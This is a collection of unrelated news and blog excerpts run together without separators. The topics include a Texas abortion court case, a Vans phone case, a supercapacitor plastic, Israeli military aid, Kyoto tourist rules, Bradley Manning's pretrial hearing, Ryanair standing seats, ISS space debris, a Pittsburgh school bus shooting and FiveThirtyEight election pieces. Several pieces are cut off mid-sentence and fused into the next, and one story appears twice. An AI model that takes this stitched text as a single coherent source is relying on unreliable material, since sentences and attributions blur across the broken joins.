Meanwhile, the plaintiffs argued that the federal government is effectively vetoing Doe's constitutional rights, given that she is entitled to an abortion in the United States regardless of her immigration status.
"There's no reason why her immigration status should diminish her constitutional rights," said Brigitte Amiri, the ACLU's attorney, adding that, under previous Supreme Court rulings, "the government may not ban abortion for anyone."
Celena Pollock, a PA AT University of Texas Rio Grande Valley, helps at the Nuestra Clinica del Valle in San Juan, Texas, Sept. 22, 2015 Reuters/Delcia Lopez
During the hearing, Kavanaugh said the judges would announce their decision "soon enough," and remarked that the court was being pushed to quickly "make a sweeping constitutional ruling one way or another."
The teenager completed her pre-abortion counseling appointment required by Texas law on Thursday, according to Susan Hays - legal director of Jane's Due Process, a nonprofit that provides legal representation for pregnant minors in Texas - who is working on the case. That appointment came after a federal judge in Washington, D.C., ruled Wednesday that Doe had the right to access abortion services and that she should be transported to her abortion appointments "promptly and without delay."
The federal government followed by appealing to the U.S. Court of Appeals in a motion that argued "the district court abused its discretion in granting such so-called temporary relief." The attorneys said that Doe "still has a number of weeks in which she could legally and safely obtain an abortion" and asked for more time for her claim to be adjudicated before the abortion makes the decision irreversible.
Doe already has the court authorization required for the procedure itself. Under Texas law, minors need their parents' permission or a court order to get an abortion.
Activists dressed as characters from "The Handmaid's Tale" chant in the Texas Capitol Rot
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resolutions. Longer distances may result in sparkles or an unstable picture. Does not support resolutions and colour spaces greater than 4k60 4:2:0 8-bit colour.
See it in action:Vans iPhone4 Rubber Waffle Case (Now Available!)
So just about this time last year, I stumbled across this waffle grip iPhone4 case from a Vans employee who is a friend of a friend. Knowing that I was big into Vans and that I had a forum and site dedicated to all things Vans related, we were introduced. Immediately, the friend pulls out his phone and shows me this awesome case he had on it. I wanted one. I needed one! He said that they were only for promotional use, and weren’t going to be made, so I snapped a few pics, to bring back to the guys on the forum, and to break the bad news that we will never be able to buy one, and very few of us will be able to get our hands on one. Well, that same statement, a year later, happens to be partially true. You see, this case has turned out to be an actual production item, but it seems that some of us can’t get our hands on them! How can this be?! OTWS members have been psyched on this accessory ever since we first caught wind of it, and to tell us it’s released and for sale?! Well, word spreads fast around the internets these days, and the #1 tech blog Gizmodo happened to post up news about this awesome case, and that can be the only explanation as to why us dedicated Vans heads are having a harder time than normal, obtaining one of these. (They even gave us credit for the info!) I mean, we have no problem sourcing limited edition 1 of 96 pair runs of shoes, or hyped up Japanese-label collaboration Vans Syndicates, but a measly $28 “General Release” at your local Vans store iPhone case we can’t?! C’mon! And resellers are selling these at $100 a pop on eBay? C’mon!
Well, I can consider myself very lucky, because the homie Ryanskeet here on OTWS was able to source a case for me. The details are so dope! Check out the waffle grip, in the same gum color as most Vans shoes. The toe bumper looks cool, as well as the red heel tab incorporated into the side of the case. Did you even notice the foxing stripe that runs around the border of the screen? Please don’t ask me to find you any, and please don’t ask where this one came from. Do a little footwork and you may be rewarded, but as with any hype, you gotta move fast. Good luck, and happy hunting!
Useful info:
Price $28
Vans online store is sold out, but some Vans stores may still have them, and others haven’t received them yet. Some stores say they won’t get them until after Christmas, and there’s also rumors that a wide-spread release is set for February. Hopefully that’s the case, so everyone can rock this awesome joint! Don’t give into the hype and pay 3x retail for this, on eBay! Be patient people.
more pics after the jumpThe battery's dead: Scientists invent wafer-thin plastic that can store electricity
The battery, which has powered our lives for generations, may soon be consigned to the dustbin of history.
British scientists say they have created a plastic that can store and release electricity, revolutionising the way we use phones, drive cars - and even wear clothes.
It means the cases of mobiles and iPods could soon double up as their power source - leading to gadgets as thin as credit cards.
Researcher Natasha Shirshova with her team's invention
The technology could also lead to flexible computer screens that can be folded up and carried around like a piece of paper.
And it could even be used to create 'electric clothes' that charge up as a person moves around and which slowly release heat when the weather gets cold.
Dr Emile Greenhalgh, from Imperial College London's Department of Aeronautics, said the material is not really a battery, but a supercapacitor - similar to those found in typical electrical circuits.
His team's prototype - which is around five inches square and wafer-thin - takes five seconds to charge from a normal power supply and can light an LED for 20 minutes.
Dr Greenhalgh, who is working with car company Volvo on a three-year, £3million project to use the material in hybrid petrol-electric cars, said: 'We think the car of the future could be drawing power from its roof or even the door, thanks to our material.
'The applications for this material don't stop there - you might have a mobile that is as thin as a credit card because it no longer needs a bulky battery, or a laptop that can draw energy from its casing so it can run for longer.'
The material charges and discharges electricity quicker than a conventional battery, and does not use chemical processes - giving it a longer lifespan, he added.
The scientists plan to use it to replace the metal floor of a Volvo car's boot which holds the spare wheel.
This would mean Volvo could shrink the size of its hybrid battery - and cut down the weight of the car, making it more efficient.
Dr Greenhalgh said: 'No one has created a material like this - within ten years it could replace batteries.'
The new patented material from scientists at Imperial College could do away with the need for traditional batteries foreverRed Bull Racing gets behind the wheel of high-performance sedan for track work
Infiniti’s answer to the M3/M4 – and even the M5, if you believe the company president – will complete its maiden drive in public at the Goodwood Festival of Speed later tonight, Australian time.
The Q50 Eau Rouge was first unveiled in Detroit back in January, but no technical information about the formidable sedan was forthcoming until Geneva, a couple of months later. Since then we’ve been told a prototype has undergone testing at Britain’s Millbrook proving ground.
The car tested at Millbrook (pictured) is the same vehicle appearing at Goodwood, featuring the GT-R’s 3.8-litre twin-turbo V6 that is now confirmed to be rated at 424kW in the Infiniti application – more than enough to see off the larger M5 in pure power terms. Getting behind the wheel for the Goodwood jaunt, in the ‘First Glance’ category, will be Infiniti Red Bull Racing team principal Christian Horner, and his test and reserve driver, Sebastian Buemi.
Infiniti has held back from announcing the Q50 Eau Rouge will enter production, but each subsequent ‘photo opportunity’ brings it that much closer to commercial reality.TEL AVIV — As Israeli and US officials head into another, possibly final round of talks over a new 10-year military aid package, a general in the Israel Defense Forces (IDF) reserves told Defense News his country would be far better off – and the US-Israel partnership stronger over time – if Israel found a way to wean itself off of US largess.
Insisting that US aid "harms and corrupts us," Maj. Gen. (Res) Gershon Hacohen, a former head of IDF war colleges and commander of Israel's Northern Corps, said the Israeli government should welcome gradual reductions, rather than increases, in US military grant aid.
"It requires leadership, but if this could be done in a calculated, well planned manner, it would restore our sovereignty, our military self-sufficiency and our industrial capacity," Hacohen told Defense News.
Prime Minister Benjamin Netanyahu's office announced Monday that Jacob Nagel, the acting head of the Israel National Security Council, was being dispatched to Washington "for the purpose of signing a new MoU between the two countries as soon as possible."
Nagel is scheduled to meet with US National Security Advisor Susan Rice on Aug. 1, in attempts to conclude the package to follow the current $30 billion agreement that expires in fiscal 2018.
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Now-retired Maj. Gen. Gershon Hacohen, a reservist in the Israel Defense Forces, said in an interview with Defense News that the US-Israeli relationship could be stronger without billions of dollars in US-provided military aid.
Photo Credit: Israel Defense Forces
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Bilateral negotiations have faltered over the past several months with regard to terms, conditions and the top line of the package. According to sources here and in Washington, the US offer now stands at $3.8 billion annually, which includes some $400 million to be spent in Israel on cooperative missile defense and other pre-agreed joint programs.
As a condition of expanding Israel's top line from $30 billion to $38 billion over the coming ten years, Washington is insisting on removing a 30-year-old privilege whereby Israel is able to convert a significant portion of grant dollars into shekels for local research, development and procurement.
"Israel places great value on the predictability and certainty of the military assistance it receives from the US and on honoring bilateral agreements," Netanyahu's statement said. "Therefore, it is not in Israel's interest for there to be any changes to the fixed annual MoU levels without the agreement of both the US administration and the Israeli government."
But Hacohen, a former member of the IDF General Staff who retired after Israel's 2014 Gaza War, insisted that US interests – rather than Israel's interests – are better served by Israel's ongoing need for predictable, long-term US military aid.
In a July 24 interview, the former armored officer and outspoken maverick among his peers insisted that Israel's "total dependence" on US aid merely institutionalizes IDF reliance on air power, at the expense of innovative and daring ground maneuver warfare.
"Israel is so addicted to advanced US platforms, and the US weaponry they deliver, that we've stopping thinking creatively in terms of operational concepts. For generations, we're locked into thinking about how to improve technologically; and this is not necessarily the correct thinking when dealing constantly innovative enemies in asymmetric conflicts," he said.
Hacohen, a secular man with degrees in philosophy and comparative literature, offered an analogy from the biblical tale of Noah's ark, when the returning dove bearing a bitter olive leaf signaled that the flood waters had receded.
"According to Rashi, who was one of the most important pillars of Jewish thought, this story teaches us that liberty has a price; that it's better to have a bitter leaf taken directly from the hand of god than to be given something sweet as honey by mortal men," Hacohen said.
"The lesson here is that the bitter taste of things we accomplish on our own is preferable to the sweet privileges than can imprison us."
Hacohen readily acknowledged that none of his former colleagues on the IDF General Staff or those in positions of influence in today's defense establishment are likely to share his views.
Nevertheless, he insisted that eventual freedom of US aid could remove a source of constant tension in the US-Israel strategic ties.
"As we've seen from this ongoing story of the aid deal, this is not the way two true partners should behave. There shouldn't be all this bargaining going on. Once we are not economically dependent on them, the partnership can flourish on its own merits," Hacohen said.We recently reported that NuAns is coming back with a new smartphone that’s “redesigned from zero”. As some of you predicted two weeks ago, NuAns’ upcoming smartphone actually runs Android instead of Windows 10 Mobile. This isn’t really surprising to see, considering the fact that NuAns recently expressed their disappointment with Windows 10 Mobile.
NuAns’ upcoming device is the NuAns Neo Reloaded and it isn’t anything substantially different from most other Android smartphones in the market. Here’s a quick breakdown:
5.2-inch Full-HD display
Qualcomm Snapdragon 625 Octa Core processor (clocked at 2.02GHz)
3GB RAM
3450mAh battery
Costs ¥49,800 (around $440)
Similar to the original NuAns Neo, the Reloaded comes with customizable back covers, which is what makes the device slightly different from the Android devices that are available right now. But to be brutally honest, NuAns’ latest smartphone likely won’t do too well in a market that’s really competitive nowadays thanks to companies like OnePlus, Huawei and Xiaomi. The OnePlus 3T, for comparison, costs around $440 too — but this device offers much better hardware than the NuAns Neo Reloaded.
NuAns choosing to go with Android instead of Windows 10 Mobile makes a lot of sense since the company’s first device didn’t succeed at all — but with the arguably poor specs of the Neo Reloaded, NuAns’ customizability offerings likely won’t be too attractive to most consumers in Japan.Trea Turner, hitting a home run last September, is one reason the Nationals farm system is ranked No. 5 by Baseball America. (John Amis/Associated Press)
The Nationals’ farm system climbed to a ranking of No. 5 by prospect bible Baseball America, marking a steady improvement with key additions and the continued development of young players.
The Nationals were the top farm system in 2012 but dropped to No. 16 in 2013 and No. 21 in 2014. But last year, the Nationals jumped to 12th thanks to the additions shortstop Trea Turner and starter Joe Ross in a trade. The development of pitchers Lucas Giolito, Erick Fedde and Austin Voth; the breakout season of outfielder Victor Robles; and the addition of Andrew Stevenson in last year’s draft helped the Nationals improve in the 2016 rankings.
Giolito, the Nationals’ top prospect and considered among the 10 best in baseball, headlines the organization’s prospects. There is some dropoff after the top talent — Giolito, Turner, Fedde and Robles — but the Nationals have depth on the mound and up the middle.
The Nationals trail only the Dodgers, Astros, Braves and Red Sox in the rankings. ESPN’s Keith Law was more bearish on the Nationals farm system, rating it 15th in baseball earlier this week.(CNN) — Kyoto residents have had enough. A surge in tourism in recent years has brought with it an outbreak of dirty toilets and misbehaving travelers.
The city of Kyoto is battling the problem in what might be seen as a typically Japanese way -- issuing polite guidelines amplified by adorable graphics to illustrate their annoyance.
The toilet guides, which come in four languages, cater to users of both Japanese- and Western-style toilets. The three-step guides illustrate how to sit on the toilet, where to throw toilet paper and how to flush.
"Many tourists use Japan's public toilets the way they would use the toilets at home and discard used toilet paper in the trash bin," says the announcement on the website. The guidelines will be posted as stickers in the city's public and private toilet facilities.
List of don'ts for travelers
Leaving a tip? Outrageous. CIty of Kyoto
The city also hopes to address cultural conflicts arising from differences in lifestyles, according to an official memo on the website. Kyoto City has worked with TripAdvisor to create "AKiMaHen (Don'ts) of Kyoto," a leaflet aimed at visitors.
The leaflet is topped with an illustration of five grumpy-looking Kyotoites captioned, "Kyotoites are pretty fastidious!"
Each impolite act gets an "AKiMaHen" rating from one mildly unhappy emoticon to three red, fiercely angry faces.
Some of the least unacceptable behaviors are tipping -- how dare you! -- and opening taxi doors by yourself. Taxi doors in Japan are opened and closed remotely by taxi drivers.
The most serious offenses include smoking outdoors in non-designated areas -- punishable by a fine of 1,000 yen ($8).
Bicycling while drunk carries a whopping penalty of up to one million yen ($8,000) or five years in prison.
Other tips include being polite when asking a maiko (an apprentice dancer who wears a traditional kimono) for pictures and not canceling restaurant reservations at the last minute.An 18-year-old kid from Florida has to live with Ryan Reynolds’ name tattooed on his butt forever because the Deadpool star liked a tweet he posted. The kid, whose name is Dustin but who goes by PoolSpidey on Twitter, tweeted at Reynolds earlier this month, “If you like this, I’ll tattoo your name on my butt.” Reynolds, who maintains a fairly active and witty Twitter account, saw the tweet and quickly liked it, also liking a subsequent Dustin tweet that read “I should make it blac kand [sic] red,” ostensibly because he likes Deadpool a lot. Dustin, being a man of his word, actually went through with the whole thing, tweeting a pic of his red ass, which now bears the words “RYAN REYNOLDS” in bold Comic Sans, with letters that alternate between red and black.
Although Dustin says he doesn’t regret the tattoo, telling BuzzFeed it will always be “a funny story to tell,” he did tweet that his “butt hurts when [he moves] a certain way.”
@poolspidey @VancityReynolds how do you feel now that your butt crack has been seen by more than 6000 people — alma 🦇 (@batsalma) March 27, 2017Back to previous page
WikiLeaks suspect Bradley Manning’s lawyer says client was treated like a ‘zoo animal’
By Julie Tate,
Army Pfc. Bradley Manning’s defense attorney argued Tuesday that the soldier’s former jailers at the Marine Corps brig at Quantico mistreated him to protect themselves from recriminations over their high-profile prisoner.
David E. Coombs said Quantico officials ignored the opinions of multiple health professionals that Manning was not a risk to himself or others and kept him isolated in a tiny cell 23 hours a day.
“They were more concerned with how [their actions] would appear to the Marine Corps and Quantico than if Manning was at risk of self harm,” Coombs said in his closing arguments in the pretrial hearing at Fort Meade.
Army Maj. Ashden Fein, one of the prosecutors, countered in his closing argument that the guards only intended to protect Manning. “Yes, they were cautious,” Fein said. “They wanted to get him to trial.”
Manning, 24, is accused of giving hundreds of thousands of classified military and diplomatic documents to WikiLeaks, an anti-secrecy organization. He faces life in prison if convicted of the most serious of the 22 charges against him, including aiding the enemy.
At Quantico, Manning was kept on either suicide watch or injury-prevention status for months. Every night for two months, he was stripped of his clothing and had to sleep in a gown known as a “suicide smock.”
Manning was monitored 24 hours a day and Quantico officials testified that he danced in his cell and played peekaboo with them, behavior they interpreted as unbalanced.
“The fact that Manning’s spirit is not broken is amazing,” Coombs said. “Being treated as a zoo animal for that period of time has to weigh heavily on the psyche.”
Coombs contends that Manning’s confinement was so harsh that the charges should be dropped or he should be given extra credit at sentencing.
After his arrest, Manning was called a traitor by some members of Congress and a hero by activists. Coombs said senior military officers tracked his confinement because they feared bad publicity.
“If the brig could have put him in a straitjacket and padded room, they would have done that,” he said.
The attorney said Marine Lt. Gen. George J. Flynn monitored Manning’s case from the outset and sent an e-mail to the brig commander saying that Manning was “a prime candidate to take his own life.”
Manning listened quietly, occasionally reviewing paperwork. He testified earlier that he considered suicide after he was arrested in May 2010 in Iraq. But he said he was not a danger to himself or anyone after those early days. Multiple health professionals agreed, but their opinions were set aside by the brig commander.
In arguing the military’s case, Fein said there was no evidence that Manning was subjected to extreme treatment. He reviewed the testimony of 14 guards, pointing out that all of them said their job was to protect Manning.
Fein acknowledged that Manning was held improperly on suicide watch on two occasions for a total of seven days. He said Manning should receive credit for those days at sentencing.
Manning is now being held at Fort Leavenworth in Kansas. His next hearing is set for mid-January, and the court-martial will begin in mid-March.Michael O'Leary says airline's application to run test flights with standing berths, handrails and straps has been rejected
Ryanair has announced that an unnamed regulator has thwarted its plan to sell standing-only tickets, by refusing an application for test flights.
Under the scheme, a Boeing 737-800 would be fitted out with 15 rows of seats and 10 rows of standing berths. Michael O'Leary, the budget airline's chief executive, said: "We have asked the question could we run some trials on this and the immediate response is somewhat negative."
Asked how upright passengers would cope without seatbelts, he said the refitted airplane would resemble a classic London Underground train with its distinctive ball-and-strap fittings, saying: "Same as on the London Underground, handrails and straps.".
The Ryanair boss said seated passengers would be charged £25 per ticket with standing customers paying between £1 and £5 for their fares on a flight that would take the average capacity of a flight from 189 passengers to 230.
The proposal is the latest in a series of unrealised cost-cutting ruses that have earned the carrier free publicity and criticism from safety experts.
O'Leary has claimed in the past that the carrier was looking at charging passengers for using the toilet, in a bid to limit loo facilities on planes and replace them with extra seats.
Ryanair has also suggested it would put passengers in the hull – in bunks – and has called for flights with only one pilot instead of the usual two.
Speaking at a press conference in London, O'Leary said he was undeterred by the knockback from the unnamed regulator, although he declined to comment on whether Ryanair had approached the US Federal Aviation Administration or the European Aviation Safety Agency. "I think ultimately it would happen," said O'Leary.Sunlight glints off the International Space Station with the blue limb of Earth providing a dramatic backdrop in this photo taken by an astronaut on the shuttle Endeavour just before it docked after midnight on Feb. 10, 2010 during the STS-130 mission.
This story was updated at 8 a.m. ET.
A leftover piece of an old Russian satellite forced six astronauts on the International Space Station to take shelter in a pair of lifeboat-like space capsules today (March 24), but zipped harmlessly by the outpost to the crew's relief.
The piece of space junk was spotted too late to move the orbiting laboratory out of the way and flew as close as 6.8 miles (11 kilometers) when it zoomed by at about 2:38 a.m. EDT (0638 GMT), NASA officials said.
While the chances of collision were remote, the potential danger of a hit was enough for Mission Control to order the station crew — which includes three Russians, two Americans and a Dutch astronaut —to seek shelter in two docked Soyuz space capsules just in case a quick escape to Earth is required.
"I don't see anything, which is good news," one of the station astronauts said in Russian, which was translated in a NASA broadcast.
It was the third time in 12 years that station astronauts took shelter from a close space debris pass. [Space Junk Photos & Cleanup Concepts]
NASA and its partners typically order an avoidance maneuver when a piece of space junk is expected to pass close by the space station and there are several days of advance notice. But this latest space debris threat was initially spotted on Friday morning, too late to plan a major maneuver, NASA officials said.
"We're not too concerned about it, but it's too late to do a [debris avoidance maneuver]," station flight director Jerry Jason radioed station commander Daniel Burbank, of NASA, and his crew late Friday.
According to NASA updates, the space debris is a remnant of the Russian Cosmos 2251 communications satellite. In 2009, the defunct spacecraft crashed into the U.S. satellite Iridium 33 in a massive space collision that created a huge cloud of more debris. The crash created 2,000 pieces of orbital debris.
While the size of the space debris was difficult to pin down, it was "relatively small," NASA spokesman Rob Navias said during NASA TV commentary of the space trash flyby.
NASA astronaut Don Pettit, who is the other American aboard the space station, radioed Mission Control Friday to say he hoped to try and snap a photo of the space debris if it was possible. But the space debris whizzed by the space station unseen.
Space junk is a growing threat for astronauts on the space station, as well as other satellites orbiting Earth. According to recent estimates, there is about 6,000 tons of space debris in orbit today. NASA and the U.S. military's Space Surveillance Network regularly track about 20,000 pieces of the debris in order to help other active satellites avoid collisions with the orbital trash.
You can follow SPACE.com Managing Editor Tariq Malik on Twitter @tariqjmalik. Follow SPACE.com for the latest in space science and exploration news on Twitter @Spacedotcom and on Facebook.Six students were onboard at the time of the incident
A Pittsburgh Public School bus was shot at while students were on board Monday evening in North Point Breeze.Students from the Pittsburgh Science and Technology Academy in Oakland were on their way home following an after-school program when the bus was hit on North Homewood Avenue and McPherson Boulevard.According to police, a bullet entered through one side of windows and exited out the other side.VIDEO: Watch Shannon Perrine's reportTrina Hall, the after-school program coordinator for the school said six students were on board at the time and no one was injured. The students, grades 6-12, were picked up by another bus and taken home."Who doesn't think of the children's lives? Whatever is going on," said Hall, "they have a right to learn and to live, we have to protect our community and our kids."After the shot was fired, Hall said the bus driver drove away quickly to safe area about two blocks away. The students huddled on the floor she said.It is not clear if a police surveillance camera about two blocks from the shooting captured any images of the shooter.The school bus captured surveillance video inside the bus. Police will look at that video. They urge witnesses near the 7100 block of McPherson Street in North Point Breeze to call them with any clues.Pittsburgh police and Pittsburgh Public School police are investigating. So far, there is no description of the shooter.
A Pittsburgh Public School bus was shot at while students were on board Monday evening in North Point Breeze.
Students from the Pittsburgh Science and Technology Academy in Oakland were on their way home following an after-school program when the bus was hit on North Homewood Avenue and McPherson Boulevard.
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According to police, a bullet entered through one side of windows and exited out the other side.
VIDEO: Watch Shannon Perrine's report
Trina Hall, the after-school program coordinator for the school said six students were on board at the time and no one was injured. The students, grades 6-12, were picked up by another bus and taken home.
"Who doesn't think of the children's lives? Whatever is going on," said Hall, "they have a right to learn and to live, we have to protect our community and our kids."
After the shot was fired, Hall said the bus driver drove away quickly to safe area about two blocks away. The students huddled on the floor she said.
It is not clear if a police surveillance camera about two blocks from the shooting captured any images of the shooter.
The school bus captured surveillance video inside the bus. Police will look at that video. They urge witnesses near the 7100 block of McPherson Street in North Point Breeze to call them with any clues.
Pittsburgh police and Pittsburgh Public School police are investigating. So far, there is no description of the shooter.
AlertMeFAIRHOPE, Alabama -- Throughout 2012, as the Alabama Tourism Department celebrates "The Year of Alabama Food," The Birmingham News will spotlight some of the restaurants, cafes, bistros and bakeries on the list of "100 Dishes To Eat in Alabama Before You Die." This is a weekly series that appears Fridays in City Scene.
Panini Pete’s
Address: 42½ South Section St., Fairhope.
On the menu: Pressed sandwiches made with house-roasted meats, including roast beef with gorgonzola spread, rosemary chicken with goat cheese, turkey with mozzarella, seared tuna with key lime aioli, and mozzarella and tomato on focaccia. Plus hand-pattied hamburgers, all-beef hot dogs and house-cut fries and chips. Breakfast includes classic New Orleans beignets.
What's in a name?: In Italy, "panino" refers to a sandwich made with a small bread roll, and "panini" is the plural form of the word. In the United States, panini are pressed in a grill. "Pete" is Panini Pete's chef and owner Pete Blohme.
From Fort Lauderdale to Fairhope: Blohme, who grew up in Fort Lauderdale, Fla., graduated from the Culinary Institute of America in 1986, worked as a chef on a cruise ship, and later helped his brother-in-law, wings king Bob Baumhower, open a chain of restaurants across the state. It was while working with Baumhower's Aloha Hospitality group that Blohme discovered Baldwin County. Six years ago, Blohme opened his Panini Pete's Cafe and Bake Shoppe in a little cubbyhole in downtown Fairhope's French Quarter.
Food Network star: In 2008, Food Network rock star Guy Fieri pulled into town to film an episode of his popular "Diners, Drive-Ins and Dives" road show. Fieri was blown away by the food, particularly the Pete's Rubbed and Almost Fried Turkey Sandwich. "Oh, my gosh, talk about a place you wish you could go to 10 times," Fieri said in an interview with The Birmingham News. "That dude (Blohme) was just a riot, just off the hook." Fieri and Blohme became fast friends. A year later, Blohme appeared as a guest on Fieri's "Guy's Big Bite," and in 2011, Fieri returned to Baldwin County to join Blohme and other chefs for "Supper on the Sand: A Celebration of the Gulf," a 500-seat dinner to mark the anniversary of the Deepwater Horizon explosion.
Feeding the troops: Throughout last year, Blohme and a group of chefs who call themselves the Messlords embarked on their Forkful of Freedom Tour, traveling the world to cook for U.S. soldiers in military bases around the globe. Again, it was his buddy Fieri who recommended Blohme for the gig. One day, the Messlords served 30,000 meals. "We're trying to give them a full belly, a hug around the neck and a good time," Blohme told the Press-Register in Mobile. "It's our way of thanking them for all they do for the country."
Now in Mobile, too: Panini Pete's opened a second location in downtown Mobile late last year.
Dish to eat before you die: Pete's Muffaletta Panino, with Italian meats and cheeses and olive salad on rustic Italian bread.
Hours: 8 to 10:30 a.m. for breakfast, 11 a.m. to 2:30 p.m. for lunch, Mondays through Saturdays.
Phone: 251-929-0122.
Website: www.paninipetes.com.
Email Bob Carlton at [email protected] the early morning hours of April 26, 1986, workers at the Chernobyl Nuclear Power Plant ran a test on reactor No. 4 to check how long it could run without electrical power. When power generation fell to less than 1 percent of capacity, operators tried to compensate by manually removing the rods that slow and control the nuclear reaction.The reactor reached the planned test power levels, but workers could not re-insert the control rods. The reaction accelerated, building pressure that blasted a containment lid off the reactor’s core. Air rushed in, setting off a second explosion.The radiocative release of the blasts was about 400 times that of the atomic bomb dropped on Hiroshima. Radioactive plumes traveled all over Europe, but present-day Belarus and Ukraine bore the brunt.Firefighters raced to the scene to prevent the fire spreading to the other reactors, exposing themselves to high levels of radiation. “These were the people who saved Europe,” said firefighter Viktor Birkun. “If they had not done what they did, the fire would have spread to Reactors 1, 2 and 3.”The Soviet government refused to admit that a disaster had taken place at Chernobyl. It was not until a Swedish nuclear facility detected high levels of radiation did the news of Chernobyl became public and nearby town of Pripyat was evacuated.In this week’s politics chat, we discuss FiveThirtyEight’s general election forecast for 2016, which launched Wednesday and will be updated through Election Day. The transcript below has been lightly edited.
David (Firestone, managing editor): After a lot of work, our general election forecast has gone live! But not everyone fully understands what a forecast model is. Some people think it’s a poll or are incorrectly saying, “Nate calls the race for Clinton.” Can we start by explaining at a basic level what a forecast model tells us?
Clare (Malone, senior political writer): Say it very, very slowly and use small words, please.
Nate (Silver, editor in chief): Pro buh bil it eez.
Harry (Enten, senior political writer): Looks like some artisanal tea that I’d buy in hipster Brooklyn.
Nate: Not everything 0 percent or 100 percent! Some things in between! Cookie Monster like numbers in between!
Harry: I believe Cookie Monster now eats vegetables.
David: And that in-between number gives Hillary Clinton about an 80 percent chance of winning, which obviously doesn’t mean it’s over.
Clare: Did Cookie vote Trump? Or is he a Bernie Bro?
Nate: I’m sort of annoyed by it being 80 percent, because I feel like that’s the number people most misinterpret. When you say 80 percent, people take that to mean “really, really certain.” It’s not, particularly.
David: I liked your ballgame analogy, Nate, in the article you wrote to accompany the forecast. Teams come back from 20-percent-win situations frequently. In fact, about 20 percent of the time!
Nate: Absolutely amazing how that works!
Clare: You’re annoyed that it’s a high number because people are going to glom onto that and think it holds for the whole election? Not realizing that this is where things stand as of June 29 and that it’ll change as things go on and polls come in?
Nate: It can change, sure. But let’s be clear — 80 percent is the forecast Clinton has to win on Nov. 8. That’s our best estimate of her chances, accounting for the uncertainty between now and then, based on the historical accuracy of presidential polling. If the election were held today instead, she’d be a safer bet still.
The polls can change a lot between now and Nov. 8. And they probably will. But there’s a chance those changes benefit Clinton, and not Donald Trump. And since she’s up by about 7 points now, there’s the chance they help Trump … but not enough to allow him to win.
And that’s the thing. Of the 80 percent of the time Clinton wins — PLENTY of those times are going to involve her sweating. Either because Trump makes it very close at the end or because there are some periods in which things look very tight along the way, as they did for Obama against McCain and against Romney.
But Clinton will win a lot of those close calls, along with her share of landslides.
Clare: So the Clinton campaign should not change its warm-up song to “Landslide” just yet? (The Fleetwood Mac version, obvs, not the Dixie Chicks cover.)
David: Because it’s a model, we’ll be feeding new polls into it as they come out every day, or whenever we have them. And the polls-plus version also changes with economic performance. So we can expect to see fluctuations in the numbers regularly, and sometimes those can be serious changes.
Clare: This model eats!
Harry: Only the best food, no fast food.
Clare: Yeah, can you explain what the “pluses” are in polls plus? The sauce on our model’s low-fat, totally organic polls, if you will.
Nate: The “plus” is the economy, basically. Which isn’t so good right now, but also not so bad. But certainly, in the abstract, you’d expect this to be a close election. With no incumbent and an average economy, that should mean a level playing field.
Harry: I should point out that our model does not take into account something like the president’s approval rating, which isn’t strongly tied to the final result without an incumbent but isn’t nothing either. And the president’s approval rating isn’t terrible right now.
David: If this were a normal election, or even a closer one, what patterns in the polls could we expect to see after the primaries? Bounces after the conventions, movements based on big speeches or ads?
Harry: After the conventions, you may not see big bounces. You sort of saw one last time after the first presidential debate, but that wasn’t a big one in the state polls. I think the clearest case of movement was probably 1948, and that was when the economy was getting better and better. (Truman, of course, closed a big gap in the polls and shocked everyone by winning the election. There were no public polls conducted in the final weeks of that campaign.) It’s not that the polls cannot
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younger viewers are checking Facebook and Twitter, and not just during the commercials. So they are encouraging viewers to chat online about TV shows and live televised events so they tune in and not out. The TV industry is banking that the "second screen" on tablets and other mobile devices can drive viewership and deliver more ad revenue.
"It's undeniable that our audience — certainly portions of audience — are actively participating on Twitter, Facebook or both during the course of the broadcast," Zenkel said. "We believe that can only help generate more engagement and more interest."
Now Facebook is looking to make a bigger splash in TV. Twitter has a head start, getting on average three-quarters of the social media activity around broadcast TV while Facebook gets 16%, according to Trendrr. When it comes to sports or other televised events, Twitter dominates, Trendrr found.
"This was Facebook saying the social experience on TV is an undeniably important market," Ghuneim said. "And what better petri dish than the Olympics?"Inequality is a hot topic these days — even on Fox News. This contrasts with most of the past decade, when the term was barely mentioned even on the liberal-leaning television network MSNBC.
The increasing focus on inequality is best thought of as a reemergence of an old theme rather than something new. Since the founding of the republic, frames focused around fairness and equality have competed against those centered around freedom and liberty in American political discourse.
I put together the following graphic (well, I put together the data; FiveThirtyEight visual journalist Ritchie King put together the graphic), based on a search for the terms equality, fairness, freedom and liberty* in the Democratic and Republican platforms dating to 1948. It tells us a lot about how the priorities of the parties have changed over the years.
In the 1950s and 1960s, Democrats were about as likely to talk about fairness as freedom. Then there was a strong shift toward fairness and equality as rhetorical frames under George McGovern in 1972, Jimmy Carter in 1976 and 1980, and Walter Mondale in 1984. But Democrats reverted to being more even in their use of the terms under the platforms written for Michael Dukakis, Bill Clinton, Al Gore and John Kerry. Barack Obama’s platforms emphasized fairness and equality more often, however, especially in 2012.
Republicans have almost always used freedom-related words more than fairness-related words (with modest exceptions in 1952 under Dwight Eisenhower and 1972 under Richard Nixon). But from the 1950s through the 1990s, the parties usually tracked with each other. That is to say, when Democrats shifted toward talking more about fairness and less about freedom, Republicans moved in the same direction.
However, the partisan split in these terms has widened considerably since 1996. In their 2012 party platform, Republicans used “freedom” and “liberty” 4.1 times more often than “fairness” and “equality.” Obama’s Democrats, by contrast, used “fairness” and “equality” 1.7 times more often than “freedom” and “liberty.”
The usage of the terms can also be thought of as a proxy for where the parties align on on the left-right spectrum. Like other measures of partisan activity, this one shows that Republicans have shifted somewhat further away from the center and have therefore been somewhat more responsible for the increasing divide between the parties. However, Democrats have also been moving to the left.
In general, I’m in agreement with Thomas E. Mann and Norman Ornstein, that political commentators and journalists have been too slow to talk about the Republican Party’s rightward shift. It also seems plausible to me, however, that we could see an increasingly sharp shift toward the left in the Democratic Party in the coming years, particularly if Hillary Clinton is not its nominee in 2016.
Furthermore, it seems plausible that Republicans could gradually steer back toward the center; they’re talking more about inequality, too, both on cable television and in Congress. As inequality gains traction as a political concept, Republicans may frame their goal as wanting to ensure equality of opportunity, while they accuse Democrats of desiring equality of outcomes. The word, opportunity, is one that Republicans have gotten away from. From 1948 through 1988, the parties used “opportunity” or “opportunities” about as often as each other in their platforms, although with some fluctuations from year to year. Since 1992, however, Democrats have mentioned opportunity about 60 percent more often than Republicans as a proportion of all words in their platforms.
Both parties, then, might be inclined to rediscover some of their rhetoric from the 1970s and the 1980s. These weren’t glorious times for Democrats, who occupied the White House for only four years between 1968 and 1992. What’s different this time is that income inequality has risen steadily since then. It’s something you’ll almost certainly be hearing a lot about heading into 2016.
